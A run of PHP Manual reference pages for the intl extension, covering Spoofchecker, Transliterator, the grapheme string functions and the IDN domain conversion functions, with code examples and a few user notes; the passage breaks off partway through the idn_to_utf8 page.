PHP Manual

Spoofchecker::isSuspicious

(PHP > 5.4.0)

Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters

Description

public bool Spoofchecker::isSuspicious ( string $text [, string &$error ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

text

error

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Spoofchecker::__construct
Spoofchecker::setAllowedLocales
Spoofchecker


Locales to use when running checks

Spoofchecker::isSuspicious
Spoofchecker::setChecks
Spoofchecker
PHP Manual

Spoofchecker::setAllowedLocales

(PHP > 5.4.0)

Spoofchecker::setAllowedLocales — Locales to use when running checks

Description

public void Spoofchecker::setAllowedLocales ( string $locale_list )

Warning

This function is currently not documented; only its argument list is available.

Parameters

locale_list

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Spoofchecker::isSuspicious
Spoofchecker::setChecks
Spoofchecker


Set the checks to run

Spoofchecker::setAllowedLocales
Transliterator
Spoofchecker
PHP Manual

Spoofchecker::setChecks

(PHP > 5.4.0)

Spoofchecker::setChecks — Set the checks to run

Description

public void Spoofchecker::setChecks ( string $checks )

Warning

This function is currently not documented; only its argument list is available.

Parameters

checks

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Spoofchecker::setAllowedLocales
Transliterator
Spoofchecker


The Transliterator class

(PHP > 5.4.0)

Introduction

Transliterator provides transliteration of strings.

Class synopsis

Transliterator {
/* Constants */
const integer FORWARD = 0 ;
const integer REVERSE = 1 ;
/* Properties */
public $id ;
/* Methods */
__construct ( void )
public static Transliterator create ( string $id [, int $direction ] )
public static Transliterator createFromRules ( string $rules [, string $direction ] )
public Transliterator createInverse ( void )
public int getErrorCode ( void )
public string getErrorMessage ( void )
public static array listIDs ( void )
public string transliterate ( string $subject [, int $start [, int $end ]] )
}

Properties

id

Predefined Constants

Transliterator::FORWARD

Transliterator::REVERSE

Table of Contents

  • Transliterator::__construct — Construct a Transliterator object
  • Transliterator::create — Create a transliterator
  • Transliterator::createFromRules — Create transliterator from rules
  • Transliterator::createInverse — Create an inverse transliterator
  • Transliterator::getErrorCode — Get last error code
  • Transliterator::getErrorMessage — Get last error message
  • Transliterator::listIDs — Get transliterator IDs
  • Transliterator::transliterate — Transliterate a string

User Contributed Notes

There are no user contributed notes for this page.
Spoofchecker::setChecks
Transliterator::__construct
intl


Construct a Transliterator object

Transliterator
Transliterator::create
Transliterator
PHP Manual

Transliterator::__construct

(PHP > 5.4.0)

Transliterator::__construct — Construct a Transliterator object

Description

Transliterator::__construct() ( void )

Constructs a transliterator object.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A transliterator object.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::create() - Create a transliterator

User Contributed Notes

There are no user contributed notes for this page.
Transliterator
Transliterator::create
Transliterator


Create a transliterator

Transliterator::__construct
Transliterator::createFromRules
Transliterator
PHP Manual

Transliterator::create

transliterator_create

(PHP > 5.4.0)

Transliterator::create -- transliterator_create — Create a transliterator

Description

Object oriented style

public static Transliterator Transliterator::create ( string $id [, int $direction ] )

Procedural style

Transliterator transliterator_create ( string $id [, int $direction ] )

Opens a Transliterator by id.

Warning

This function is currently not documented; only its argument list is available.

Parameters

id

The id.

direction

The direction, defaults to >Transliterator::FORWARD. May also be set to Transliterator::REVERSE.

Return Values

Returns a Transliterator object on success, or NULL on failure.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::__construct() - Construct a Transliterator object

User Contributed Notes

There are no user contributed notes for this page.
Transliterator::__construct
Transliterator::createFromRules
Transliterator


Create transliterator from rules

Transliterator::create
Transliterator::createInverse
Transliterator
PHP Manual

Transliterator::createFromRules

transliterator_create_from_rules

(PHP > 5.4.0)

Transliterator::createFromRules -- transliterator_create_from_rules — Create transliterator from rules

Description

Object oriented style

public static Transliterator Transliterator::createFromRules ( string $rules [, string $direction ] )

Procedural style

Transliterator transliterator_create_from_rules ( string $id [, int $direction ] )

Creates a Transliterator from rules.

Warning

This function is currently not documented; only its argument list is available.

Parameters

rules

The rules.

direction

The direction, defaults to >Transliterator::FORWARD. May also be set to Transliterator::REVERSE.

Return Values

Returns a Transliterator object on success, or NULL on failure.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::create() - Create a transliterator

User Contributed Notes

There are no user contributed notes for this page.
Transliterator::create
Transliterator::createInverse
Transliterator


Create an inverse transliterator

Transliterator::createFromRules
Transliterator::getErrorCode
Transliterator
PHP Manual

Transliterator::createInverse

transliterator_create_inverse

(PHP > 5.4.0)

Transliterator::createInverse -- transliterator_create_inverse — Create an inverse transliterator

Description

Object oriented style

public Transliterator Transliterator::createInverse ( void )

Procedural style

Transliterator transliterator_create_inverse ( void )

Opens the inverse transliterator transliterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns a Transliterator object on success, or NULL on failure

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::create() - Create a transliterator

User Contributed Notes

There are no user contributed notes for this page.
Transliterator::createFromRules
Transliterator::getErrorCode
Transliterator


Get last error code

Transliterator::createInverse
Transliterator::getErrorMessage
Transliterator
PHP Manual

Transliterator::getErrorCode

transliterator_get_error_code

(PHP > 5.4.0)

Transliterator::getErrorCode -- transliterator_get_error_code — Get last error code

Description

Object oriented style

public int Transliterator::getErrorCode ( void )

Procedural style

int transliterator_get_error_code ( void )

Gets the last error code for this transliterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The error code on success, or FALSE if none exists, or on failure.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::listIDs() - Get transliterator IDs

User Contributed Notes

There are no user contributed notes for this page.
Transliterator::createInverse
Transliterator::getErrorMessage
Transliterator


Get last error message

Transliterator::getErrorCode
Transliterator::listIDs
Transliterator
PHP Manual

Transliterator::getErrorMessage

transliterator_get_error_message

(PHP > 5.4.0)

Transliterator::getErrorMessage -- transliterator_get_error_message — Get last error message

Description

Object oriented style

public string Transliterator::getErrorMessage ( void )

Procedural style

string transliterator_get_error_message ( void )

Gets the last error message for this transliterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The error code on success, or FALSE if none exists, or on failure.

See Also

  • Transliterator::getErrorCode() - Get last error code
  • Transliterator::listIDs() - Get transliterator IDs

User Contributed Notes

There are no user contributed notes for this page.
Transliterator::getErrorCode
Transliterator::listIDs
Transliterator


Get transliterator IDs

Transliterator::getErrorMessage
Transliterator::transliterate
Transliterator
PHP Manual

Transliterator::listIDs

transliterator_list_ids

(PHP > 5.4.0)

Transliterator::listIDs -- transliterator_list_ids — Get transliterator IDs

Description

Object oriented style

public static array Transliterator::listIDs ( void )

Procedural style

array transliterator_list_ids ( void )

Returns an array with the registered transliterator IDs.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An array of registered transliterator IDs on success, or FALSE on failure.

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::transliterate() - Transliterate a string

User Contributed Notes

There are no user contributed notes for this page.
Transliterator::getErrorMessage
Transliterator::transliterate
Transliterator


Transliterate a string

Transliterator::listIDs
Grapheme Functions
Transliterator
PHP Manual

Transliterator::transliterate

transliterator_transliterate

(PHP > 5.4.0)

Transliterator::transliterate -- transliterator_transliterate — Transliterate a string

Description

Object oriented style

public string Transliterator::transliterate ( string $subject [, int $start [, int $end ]] )

Procedural style

transliterator_transliterate ( mixed $transliterator , string $subject [, int $start [, int $end ]] )

Transforms a string or part thereof using an ICU transliterator.

Parameters

transliterator

In the procedural version, either a Transliterator or a string from which a Transliterator can be built.

subject

The string to be transformed.

start

The start index (in UTF-16 code units) from which the string will start to be transformed, inclusive. Indexing starts at 0. The text before will be left as is.

end

The end index (in UTF-16 code units) until which the string will be transformed, exclusive. Indexing starts at 0. The text after will be left as is.

Return Values

The transfomed string on success, or FALSE on failure.

Examples

Example #1 Converting escaped UTF-16 code units

<?php
$s = "\u304A\u65E9\u3046\u3054\u3056\u3044\u307E\u3059";
echo transliterator_transliterate("Hex-Any/Java", $s), "\n";

//now the reverse operation with a supplementary character
$supplChar = html_entity_decode('&#x1D11E;');
echo mb_strlen($supplChar, "UTF-8"), "\n";
$encSupplChar = transliterator_transliterate("Any-Hex/Java", $supplChar);
//echoes two encoded UTF-16 code units
echo $encSupplChar, "\n";
//and back
echo transliterator_transliterate("Hex-Any/Java", $encSupplChar), "\n";
?>

The above example will output something similar to:

お早うございます
1
\uD834\uDD1E
𝄞

See Also

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::__construct() - Construct a Transliterator object

User Contributed Notes

jinmoku at hotmail dot com 09-Feb-2011 12:59
OOP version :

<?php
$str = 'àáâãäçèéêëìíîïñòóôõöùúûüýÿ
ÀÁÂÃÄÇÈÉÊËÌÍÎÏÑÒÓÔÕÖÙÚÛÜÝ';
$rule = 'NFD; [:Nonspacing Mark:] Remove; NFC';

$myTrans = Transliterator::create($rule);
echo $myTrans->transliterate($str);

//aaaaaceeeeiiiinooooouuuuyy
//AAAAACEEEEIIIINOOOOOUUUUY
?>
Transliterator::listIDs
Grapheme Functions
Transliterator


Grapheme Functions

Table of Contents

  • grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.
  • grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strlen — Get string length in grapheme units
  • grapheme_strpos — Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • grapheme_substr — Return part of a string

User Contributed Notes

There are no user contributed notes for this page.
Transliterator::transliterate
grapheme_extract
intl


Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.

Grapheme Functions
grapheme_stripos
Grapheme Functions
PHP Manual

grapheme_extract

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.

Description

Procedural style

string grapheme_extract ( string $haystack , int $size [, int $extract_type [, int $start = 0 [, int &$next ]]] )

Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.

Parameters

haystack

String to search.

size

Maximum number items - based on the $extract_type - to return.

extract_type

Defines the type of units referred to by the $size parameter:

  • GRAPHEME_EXTR_COUNT (default) - $size is the number of default grapheme clusters to extract.
  • GRAPHEME_EXTR_MAXBYTES - $size is the maximum number of bytes returned.
  • GRAPHEME_EXTR_MAXCHARS - $size is the maximum number of UTF-8 characters returned.

start

Starting position in $haystack in bytes - if given, it must be zero or a positive value that is less than or equal to the length of $haystack in bytes. If $start does not point to the first byte of a UTF-8 character, the start position is moved to the next character boundary.

next

Reference to a value that will be set to the next starting position. When the call returns, this may point to the first byte position past the end of the string.

Return Values

A string starting at offset $start and ending on a default grapheme cluster boundary that conforms to the $size and $extract_type specified.

Examples

Example #1 grapheme_extract() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_extract( $char_a_ring_nfd . $char_o_diaeresis_nfd, 1, GRAPHEME_EXTR_COUNT, 2));

?>

The above example will output:

o%CC%88

See Also

  • grapheme_substr() - Return part of a string
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

AJH 12-Jul-2011 04:37
Here's how to use grapheme_extract() to loop across a UTF-8 string character by character.

<?php

$str = "سabcक’…";
// if the previous line didn't come through, the string contained:
//U+0633,U+0061,U+0062,U+0063,U+0915,U+2019,U+2026

$n = 0;

for (    $start = 0, $next = 0, $maxbytes = strlen($str), $c = '';
        $start < $maxbytes;
        $c = grapheme_extract($str, 1, GRAPHEME_EXTR_MAXCHARS , ($start = $next), $next)
    )
{
    if (empty($c))
        continue;
    echo "This utf8 character is " . strlen($c) . " bytes long and its first byte is " . ord($c[0]) . "\n";
    $n++;
}
echo "$n UTF-8 characters in a string of $maxbytes bytes!\n";
// Should print: 7 UTF8 characters in a string of 14 bytes!
?>
Grapheme Functions
grapheme_stripos
Grapheme Functions


Find position (in grapheme units) of first occurrence of a case-insensitive string

grapheme_extract
grapheme_stristr
Grapheme Functions
PHP Manual

grapheme_stripos

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string

Description

Procedural style

int grapheme_stripos ( string $haystack , string $needle [, int $offset = 0 ] )

Find position (in grapheme units) of first occurrence of a case-insensitive string

Parameters

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional $offset parameter allows you to specify where in haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of $offset.

Return Values

Returns the position as an integer. If needle is not found, grapheme_stripos() will return boolean FALSE.

Examples

Example #1 grapheme_stripos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_stripos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

The above example will output:

2

See Also

  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.
grapheme_extract
grapheme_stristr
Grapheme Functions


Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.

grapheme_stripos
grapheme_strlen
Grapheme Functions
PHP Manual

grapheme_stristr

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.

Description

Procedural style

string grapheme_stristr ( string $haystack , string $needle [, bool $before_needle = false ] )

Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.

Parameters

haystack

The input string. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

before_needle

If TRUE, grapheme_strstr() returns the part of the haystack before the first occurrence of the needle.

Return Values

Returns the portion of $haystack, or FALSE if $needle is not found.

Examples

Example #1 grapheme_stristr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_O_diaeresis_nfd));

?>

The above example will output:

o%CC%88a%CC%8A

See Also

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.
grapheme_stripos
grapheme_strlen
Grapheme Functions


Get string length in grapheme units

grapheme_stristr
grapheme_strpos
Grapheme Functions
PHP Manual

grapheme_strlen

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strlen — Get string length in grapheme units

Description

Procedural style

int grapheme_strlen ( string $input )

Get string length in grapheme units (not bytes or characters)

Parameters

input

The string being measured for length. It must be a valid UTF-8 string.

Return Values

The length of the string on success, and 0 if the string is empty.

Examples

Example #1 grapheme_strlen() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strlen( 'abc' . $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd);

?>

The above example will output:

6

See Also

  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.
grapheme_stristr
grapheme_strpos
Grapheme Functions


Find position (in grapheme units) of first occurrence of a string

grapheme_strlen
grapheme_strripos
Grapheme Functions
PHP Manual

grapheme_strpos

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strpos — Find position (in grapheme units) of first occurrence of a string

Description

Procedural style

int grapheme_strpos ( string $haystack , string $needle [, int $offset = 0 ] )

Find position (in grapheme units) of first occurrence of a string

Parameters

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional $offset parameter allows you to specify where in $haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of $offset.

Return Values

Returns the position as an integer. If needle is not found, strpos() will return boolean FALSE.

Examples

Example #1 grapheme_strpos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strpos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);

?>

The above example will output:

2

See Also

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.
grapheme_strlen
grapheme_strripos
Grapheme Functions


Find position (in grapheme units) of last occurrence of a case-insensitive string

grapheme_strpos
grapheme_strrpos
Grapheme Functions
PHP Manual

grapheme_strripos

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string

Description

Procedural style

int grapheme_strripos ( string $haystack , string $needle [, int $offset = 0 ] )

Find position (in grapheme units) of last occurrence of a case-insensitive string

Parameters

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional $offset parameter allows you to specify where in $haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of $offset.

Return Values

Returns the position as an integer. If needle is not found, grapheme_strripos() will return boolean FALSE.

Examples

Example #1 grapheme_strripos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_strripos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

The above example will output:

2

See Also

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.
grapheme_strpos
grapheme_strrpos
Grapheme Functions


Find position (in grapheme units) of last occurrence of a string

grapheme_strripos
grapheme_strstr
Grapheme Functions
PHP Manual

grapheme_strrpos

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string

Description

Procedural style

int grapheme_strrpos ( string $haystack , string $needle [, int $offset = 0 ] )

Find position (in grapheme units) of last occurrence of a string

Parameters

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional $offset parameter allows you to specify where in $haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of $offset.

Return Values

Returns the position as an integer. If needle is not found, grapheme_strrpos() will return boolean FALSE.

Examples

Example #1 grapheme_strrpos() example

<?php
$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strrpos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);
?>

The above example will output:

2

See Also

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.
grapheme_strripos
grapheme_strstr
Grapheme Functions


Returns part of haystack string from the first occurrence of needle to the end of haystack.

grapheme_strrpos
grapheme_substr
Grapheme Functions
PHP Manual

grapheme_strstr

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack.

Description

Procedural style

string grapheme_strstr ( string $haystack , string $needle [, bool $before_needle = false ] )

Returns part of haystack string from the first occurrence of needle to the end of haystack.

Parameters

haystack

The input string. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

before_needle

If TRUE, grapheme_strstr() returns the part of the haystack before the first occurrence of the needle.

Return Values

Returns the portion of string, or FALSE if needle is not found.

Examples

Example #1 grapheme_strstr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_o_diaeresis_nfd));

?>

The above example will output:

o%CC%88a%CC%8A

See Also

  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.
grapheme_strrpos
grapheme_substr
Grapheme Functions


Return part of a string

grapheme_strstr
IDN Functions
Grapheme Functions
PHP Manual

grapheme_substr

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_substr — Return part of a string

Description

Procedural style

int grapheme_substr ( string $string , int $start [, int $length ] )

Return part of a string

Parameters

string

The input string. Must be valid UTF-8.

start

Start position in default grapheme units. If $start is non-negative, the returned string will start at the $start'th position in $string, counting from zero. If $start is negative, the returned string will start at the $start'th grapheme unit from the end of string.

length

Length in grapheme units. If $length is given and is positive, the string returned will contain at most $length grapheme units beginning from $start (depending on the length of string). If $length is given and is negative, then that many grapheme units will be omitted from the end of string (after the start position has been calculated when a start is negative). If $start denotes a position beyond this truncation, FALSE will be returned.

Return Values

Returns the extracted part of $string.

Changelog

Version | Description
5.4 | If length is given and positive and the argument string is shorter than the specified length, all the rest of the string according to start parameter is returned. Previously, FALSE was returned.

Examples

Example #1 grapheme_substr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_substr( "ao" . $char_a_ring_nfd . "bc" . $char_o_diaeresis_nfd . "O", 2, -1 ));
?>

The above example will output:

a%CC%8Abco%CC%88

See Also

  • grapheme_extract() - Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.
grapheme_strstr
IDN Functions
Grapheme Functions


IDN Functions

Table of Contents

  • idn_to_ascii — Convert domain name to IDNA ASCII form.
  • idn_to_unicode — Alias of idn_to_utf8
  • idn_to_utf8 — Convert domain name from IDNA ASCII to Unicode.

User Contributed Notes

There are no user contributed notes for this page.
grapheme_substr
idn_to_ascii
intl


Convert domain name to IDNA ASCII form.

IDN Functions
idn_to_unicode
IDN Functions
PHP Manual

idn_to_ascii

(PHP 5 >= 5.3.0, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_ascii — Convert domain name to IDNA ASCII form.

Description

Procedural style

string idn_to_ascii ( string $domain [, int $options = 0 [, int $variant = INTL_IDNA_VARIANT_2003 [, array &$idna_info ]]] )

This function converts Unicode domain name to IDNA ASCII-compatible format.

Parameters

domain

Domain to convert. In PHP 5 must be UTF-8 encoded.

options

Conversion options - combination of IDNA_* constants (except IDNA_ERROR_* constants).

variant

Either INTL_IDNA_VARIANT_2003 for IDNA 2003 or INTL_IDNA_VARIANT_UTS46 for UTS #46.

idna_info

This parameter can be used only if INTL_IDNA_VARIANT_UTS46 was used for variant. In that case, it will be filled with an array with the keys 'result', the possibly illegal result of the transformation, 'isTransitionalDifferent', a boolean indicating whether the usage of the transitional mechanisms of UTS #46 either has or would have changed the result and 'errors', which is an int representing a bitset of the error constants IDNA_ERROR_*.

Return Values

Domain name encoded in ASCII-compatible form. or FALSE on failure

Changelog

Version | Description
5.4.0/PECL 2.0.0b1 | Added the parameters variant and idna_info; UTS #46 support.

Examples

Example #1 idn_to_ascii() example

<?php

echo idn_to_ascii('täst.de');

?>

The above example will output:

xn--tst-qla.de

See Also

  • idn_to_unicode() - Alias of idn_to_utf8

User Contributed Notes

Eman 11-Nov-2010 04:57
With PHP 5.3 I started to recieve

Fatal error: Only variables can be passed by reference

when trying to call idn_to_ascii with second optional parameter (IDNA_DEFAULT).
Moreover these IDNA_* constants are seem to be undefined in PHP 5.3. + PECL idn 0.0.2

When I tried to uninstall PECL idn and install PECL intl (1.1.1) i recieved this:

/tmp/pear/temp/intl/collator/collator_class.c:92: error: duplicate ‘static’
/tmp/pear/temp/intl/collator/collator_class.c:96: error: duplicate ‘static’
/tmp/pear/temp/intl/collator/collator_class.c:101: error: duplicate ‘static’
/tmp/pear/temp/intl/collator/collator_class.c:107: error: duplicate ‘static’
make: *** [collator/collator_class.lo] Error 1

So probably compiling PHP 5.3. from sources with --enable-intl will help, but it only means that PHP 5.3. intl version differs from the one available at PECL, which isn't good, I think.

I've made my code working again by giving second idn_to_ascii parameter as simple integer variable (with value 0), but something bad is going on here and i will not be surprised if it'll break again after another PHP update...
IDN Functions
idn_to_unicode
IDN Functions


Alias of idn_to_utf8

idn_to_ascii
idn_to_utf8
IDN Functions
PHP Manual

idn_to_unicode

(No version information available, might only be in SVN)

idn_to_unicode — Alias of idn_to_utf8()

Description

This function is an alias of: idn_to_utf8().

User Contributed Notes

There are no user contributed notes for this page.
idn_to_ascii
idn_to_utf8
IDN Functions


Convert domain name from IDNA ASCII to Unicode.

idn_to_unicode
intl Functions
IDN Functions
PHP Manual

idn_to_utf8

(PHP 5 >= 5.3.0, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_utf8 — Convert domain name from IDNA ASCII to Unicode.

Description

Procedural style

string idn_to_utf8 ( string $domain [, int $options = 0 [, int $variant = INTL_IDNA_VARIANT_2003 [, array &$idna_info ]]] )

This function converts Unicode domain name from IDNA ASCII-compatible format to plain Unicode, encoded in UTF-8.

Parameters

domain

Domain to convert in IDNA ASCII-compatible format.

options

Conversion options - combination of IDNA_* constants (except IDNA_ERROR_* constants).

variant

Either INTL_IDNA_VARIANT_2003 for IDNA 2003 or INTL_IDNA_VARIANT_UTS46 for UTS #46.

idna_info

